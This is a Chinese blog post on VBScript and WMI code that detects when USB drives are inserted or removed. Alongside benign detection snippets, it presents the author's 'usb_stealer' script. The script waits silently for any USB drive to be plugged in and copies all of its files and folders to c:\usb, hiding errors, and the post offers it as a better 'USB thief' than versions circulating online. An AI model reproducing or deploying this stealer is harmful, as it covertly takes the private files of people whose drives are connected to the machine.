用VBS检测U盘插入与弹出事件的代码

可以说，对wmi的掌握程度的多少直接决定了你的vbs水平高低。看过网上普遍流传vbs版u盘小偷程序，基本上都是靠无限循环实现的，一点技术含量也没有，文章的末尾给出了我写的vbs版u盘小偷程序的下载地址。虽然用wmi也得无限循环，但是效率是不一样的。

使用wmi的win32_volumechangeevent类就可以实现，下面是示例代码，更详细的信息请参考msnd文档。

const configuration_changed = 1
const device_arrival = 2
const device_removal = 3
const docking = 4
strcomputer = "."
set objwmiservice = getobject("winmgmts:" _
& "{impersonationlevel=impersonate}!\\" _
& strcomputer & "\root\cimv2")
set colmonitoredevents = objwmiservice. _
execnotificationquery( _
"select * from win32_volumechangeevent")
do
set objlatestevent = colmonitoredevents.nextevent
select case objlatestevent.eventtype
case device_arrival
wscript.echo "u盘插入，盘符为" & _
objlatestevent.drivename
case device_removal
wscript.echo "u盘弹出，盘符为" & _
objlatestevent.drivename
end select
loop

我也写了一个u盘小偷程序，自以为比网上抄来抄去的代码要好，感兴趣的可以下载来看看。

'==========================================
'name : usb_stealer
'date : 2010/5/25
'author : demon
'copyright : copyright (c) 2010 demon
'e-mail : [e-mail]
'qq : 380401911
'website : http://demon.tw
'==========================================
'option explicit
on error resume next
const target_folder = "c:\usb"

call main()

sub main()
on error resume next
const device_arrival = 2
const device_removal = 3
const strcomputer = "."
dim objwmiservice, colmonitoredevents, objlatestevent

set objwmiservice = getobject("winmgmts:" _
& "{impersonationlevel=impersonate}!\\" _
& strcomputer & "\root\cimv2")
set colmonitoredevents = objwmiservice. _
execnotificationquery( _
"select * from win32_volumechangeevent")
do
set objlatestevent = colmonitoredevents.nextevent
select case objlatestevent.eventtype
case device_arrival
copy_file objlatestevent.drivename
end select
loop
end sub

sub copy_file(folder_path)
on error resume next
dim fso,file,folder
set fso = createobject("scripting.filesystemobject")

if not fso.folderexists(target_folder) then
fso.createfolder(target_folder)
end if

for each file in fso.getfolder(folder_path).files
file.copy target_folder & "\" & file.name,true
next

for each folder in fso.getfolder(folder_path).subfolders
folder.copy target_folder & "\" & folder.name,true
next
end sub

鉴于很多人反映之前写的那篇在xp下无效，做了一下修改。说是修改，其实是直接复制粘贴脚本专家的代码。

strcomputer = "."
set objwmiservice = getobject("winmgmts:\\" & strcomputer & "\root\cimv2")

set colevents = objwmiservice.execnotificationquery _
("select * from __instanceoperationevent within 10 where " _
& "targetinstance isa 'win32_logicaldisk'")

do while true
set objevent = colevents.nextevent
if objevent.targetinstance.drivetype = 2 then
select case objevent.path_.class
case "__instancecreationevent"
wscript.echo "drive " & objevent.targetinstance.deviceid & _
" has been added."
case "__instancedeletionevent"
wscript.echo "drive " & objevent.targetinstance.deviceid & _
" has been removed."
end select
end if
loop

参考链接：how can i determine when a removable drive gets connected?
大家应该可以看出学习vbs的好地方是哪了， 学习vbs官方的网站不得不去，很多的vbs相关的教材都是来自微软官方的脚本专栏。
原文：http://demon.tw/programming/vbs-usb-insert-remove.html